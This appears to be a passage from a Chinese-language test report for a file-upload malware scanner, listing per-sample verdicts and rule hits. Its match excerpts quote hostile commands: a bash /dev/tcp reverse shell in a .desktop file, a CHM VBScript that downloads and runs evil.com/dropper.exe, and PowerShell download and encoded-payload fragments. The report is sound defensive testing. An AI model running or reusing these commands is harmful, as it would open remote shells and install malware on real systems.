/bin/shInvoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['-e /bin/shInvoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | + +#### ✅ L4-005 — `L4-005_005_sample.txt` + +- **描述**: 热加载测试占位 +- **文件大小**: 153 B +- **预期**: `review` +- **实际**: `suspicious` (score=10.0, action=pass_with_flag) +- **判定理由**: 风险评分 10.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `low` | `Newly_Added_Rule_Test` | 10.0 | YARA 规则 Newly_Added_Rule_Test 命中(标签:无) | + +#### ✅ L4-006 — `L4-006_bad_syntax_rule.yar` + +- **描述**: 语法错误 YARA 规则文件(输入给规则目录) +- **文件大小**: 43 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .yar 不在允许清单内 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .yar,实际内容为 ASCII text, with no line terminators(.txt) | + +#### ✅ L4-007 — `L4-007_meta_rule_match.txt` + +- **描述**: 带 meta 的 YARA 规则匹配 +- **文件大小**: 21 B +- **预期**: `review` +- **实际**: `suspicious` (score=10.0, action=pass_with_flag) +- **判定理由**: 风险评分 10.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `low` | `Meta_Label_Test` | 10.0 | YARA 规则 Meta_Label_Test 命中(标签:无) | + +#### ✅ L4-008 — `L4-008_in_zip.zip` + +- **描述**: 压缩包内文件匹配YARA规则 +- **文件大小**: 183 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nside zip:nc 192.168.1'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nside zip:nc 192.168.1'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L4-009 — `L4-009_yara_in_encrypted.zip` + +- **描述**: 加密 zip 内 YARA 样本 +- **文件大小**: 150 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L4-010 — `L4-010_010_sample.txt` + +- **描述**: 正则 YARA 测试占位 +- **文件大小**: 165 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ReverseShellPowershell 命中:词表命中:ReverseShellPowershell(模式=regex),命中 1 处:['r payload:powershell -enc SQBFAFgAI'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `ReverseShellPowershell` | 35.0 | 词表命中:ReverseShellPowershell(模式=regex),命中 1 处:['r payload:powershell -enc SQBFAFgAI'] | +| `yara` | `L2B` | `low` | `Regex_Shell_Pattern` | 10.0 | YARA 规则 Regex_Shell_Pattern 命中(标签:无) | + +#### ✅ L4-011 — `L4-011_count_condition.txt` + +- **描述**: YARA count > 3 条件 +- **文件大小**: 140 B +- **预期**: `review` +- **实际**: `suspicious` (score=10.0, action=pass_with_flag) +- **判定理由**: 风险评分 10.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `low` | `Count_Condition_Test` | 10.0 | YARA 规则 Count_Condition_Test 命中(标签:无) | + +#### ✅ L4-012 — `L4-012_size_condition.bin` + +- **描述**: YARA 文件大小条件 +- **文件大小**: 29 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' | + +#### ✅ L4-013 — `L4-013_bigfile_yara.txt` + +- **描述**: 100MB 文件 YARA 扫描 +- **文件大小**: 2,000,118 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 风险评分 100.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Misc` | 25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L4-014 — `L4-014_layer_off_sample.bin` + +- **描述**: 关闭分层开关测试占位 +- **文件大小**: 21 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' | + +#### ✅ L4-015 — `L4-015_hash_whitelist.txt` + +- **描述**: MD5 在白名单 +- **文件大小**: 19 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +### L5 + +#### ✅ L5-001 — `L5-001_clean_hello.exe` + +- **描述**: 原生干净HelloWorld PE(无壳) +- **文件大小**: 926 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-002 — `L5-002_upx_shell.exe` + +- **描述**: UPX0/UPX1 节名 +- **文件大小**: 926 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | +| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 | + +#### ✅ L5-003 — `L5-003_double_upx.exe` + +- **描述**: UPX加壳PE,二次压缩 +- **文件大小**: 926 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | +| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 | + +#### ✅ L5-004 — `L5-004_rwx_section.exe` + +- **描述**: 节属性 RWX +- **文件大小**: 926 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:.text + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | +| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:.text | + +#### ✅ L5-005 — `L5-005_injection_imports.exe` + +- **描述**: 注入组合导入(需要真实 pefile 引入 API) +- **文件大小**: 928 B +- **预期**: `reject` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L5-006 — `L5-006_single_virtualalloc.exe` + +- **描述**: 单一可疑内存 API +- **文件大小**: 928 B +- **预期**: `review` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L5-007 — `L5-007_garbage_section.exe` + +- **描述**: 节名乱码 +- **文件大小**: 926 B +- **预期**: `review` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-008 — `L5-008_many_exports.exe` + +- **描述**: 导出表异常(需真实工具生成) +- **文件大小**: 928 B +- **预期**: `review` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L5-009 — `L5-009_shell_in_resource.exe` + +- **描述**: 资源段内嵌字符串(占位) +- **文件大小**: 928 B +- **预期**: `review` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L5-010 — `L5-010_bad_mz.exe` + +- **描述**: PE 头非法 +- **文件大小**: 2,048 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .exe,实际内容为 ASCII text, with no line terminators(.txt) | +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'DOS Header magic not found.' | + +#### ✅ L5-011 — `L5-011_truncated.exe` + +- **描述**: 截断 PE +- **文件大小**: 308 B +- **预期**: `review` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-012 — `L5-012_pe32.exe` + +- **描述**: 32 位识别 +- **文件大小**: 926 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-013 — `L5-013_pe64.exe` + +- **描述**: 64 位识别占位 +- **文件大小**: 926 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-014 — `L5-014_clean_tool.exe` + +- **描述**: PE导入表大量系统API(正常工具) +- **文件大小**: 926 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-015 — `L5-015_bad_reloc.exe` + +- **描述**: 重定位表损坏占位 +- **文件大小**: 928 B +- **预期**: `review` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L5-016 — `L5-016_zero_sections.exe` + +- **描述**: 无节表最小 PE +- **文件大小**: 376 B +- **预期**: `review` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L5-017 — `L5-017_upx_rwx.exe` + +- **描述**: UPX壳 + RWX节复合特征 +- **文件大小**: 926 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | +| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 | + +#### ✅ L5-018 — `L5-018_debug_info.exe` + +- **描述**: 调试信息占位 +- **文件大小**: 926 B +- **预期**: `review` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-019 — `L5-019_200mb_huge.exe` + +- **描述**: 200MB 超大 PE(占位,真实生成会写满磁盘) +- **文件大小**: 1,026 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ L5-020 — `L5-020_layer_off_sample.bin` + +- **描述**: 关闭分层开关测试占位 +- **文件大小**: 928 B +- **预期**: `review` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 PE32 executable for Unknown subsystem 0, Intel i386(.exe) | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `high` | `RWXSectionDetected` | 40.0 | 检测到可写且可执行的危险节:.text | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +### L7 + +#### ✅ L7-001 — `broken.zip` + +- **描述**: 损坏 ZIP +- **文件大小**: 125 B +- **预期**: `clean` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L7-002 — `evil.iso` + +- **描述**: 恶意 ISO 镜像 +- **文件大小**: 32,775 B +- **预期**: `suspicious` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.iso + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.iso | + +#### ✅ L7-003 — `evil_help.chm` + +- **描述**: 含脚本 CHM 帮助 +- **文件大小**: 1,691 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ChmWithScript 命中:CHM 帮助文件包含脚本/可执行引用:VBScript">Shell "cmd.exe /c curl http://evil; p://evil.com/dropper.exe -o C:\Windows\Temp\; -o C:\Windows\Temp\a.exe && C:\Windows\Temp\ + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.chm | +| `structure` | `L0` | `critical` | `ChmWithScript` | 80.0 | CHM 帮助文件包含脚本/可执行引用:VBScript">Shell "cmd.exe /c curl http://evil; p://evil.com/dropper.exe -o C:\Windows\Temp\; -o C:\Win | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] | + +#### ✅ L7-004 — `linux_malicious` + +- **描述**: Linux 恶意脚本集 +- **文件大小**: 71 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 LinuxExecutable 命中:检测到 Linux ELF 原生可执行文件:linux_malicious + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `LinuxExecutable` | 85.0 | 检测到 Linux ELF 原生可执行文件:linux_malicious | +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['bash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L7-005 — `lolbin.cmd` + +- **描述**: LOLBin cmd 混淆 +- **文件大小**: 114 B +- **预期**: `suspicious` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.cmd + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.cmd | +| `keywords` | `L2B` | `medium` | `CommandExecutionObfuscated` | 25.0 | 词表命中:CommandExecutionObfuscated(模式=regex),命中 1 处:['@echo offcertutil -decode http://ev'] | + +#### ✅ L7-006 — `macro_alert.docm` + +- **描述**: 含 VBA 宏 DOCM +- **文件大小**: 2,586 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 VBAAutoExecShell 命中:VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `document` | `L2` | `critical` | `VBAAutoExecShell` | 70.0 | VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) | +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ebClient).DownloadString(http://ev'] | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] | + +#### ✅ L7-007 — `malicious.desktop` + +- **描述**: 恶意 .desktop 反序列化 +- **文件大小**: 114 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 DesktopFileAutoExec 命中:.desktop 文件 Exec 字段包含危险命令(Shell 包含 /dev/tcp 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.desktop | +| `structure` | `L0` | `critical` | `DesktopFileAutoExec` | 85.0 | .desktop 文件 Exec 字段包含危险命令(Shell 包含 /dev/tcp 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' | +| `structure` | `L0` | `critical` | `DesktopFileAutoExec` | 85.0 | .desktop 文件 Exec 字段包含危险命令(Shell 包含 bash -i 反弹 Shell):bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' | +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["=bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Misc` | 25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L7-008 — `malicious.pdf` + +- **描述**: 含 JS/Action PDF +- **文件大小**: 534 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 PdfOpenAction 命中:PDF 定义了打开时自动执行的动作 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `document` | `L2` | `high` | `PdfOpenAction` | 50.0 | PDF 定义了打开时自动执行的动作 | +| `document` | `L2` | `critical` | `PdfJavaScript` | 70.0 | PDF OpenAction 直接包含 JavaScript 动作 | + +#### ✅ L7-009 — `miner_config.json` + +- **描述**: 挖矿配置文件 +- **文件大小**: 123 B +- **预期**: `suspicious` +- **实际**: `suspicious` (score=45.0, action=manual_review) +- **判定理由**: 风险评分 45.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `low` | `C7_Linux_Miner_Generic` | 45.0 | YARA 规则 C7_Linux_Miner_Generic 命中(标签:无) | + +#### ✅ L7-010 — `normal.pdf` + +- **描述**: 干净 PDF 对照 +- **文件大小**: 439 B +- **预期**: `clean` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L7-011 — 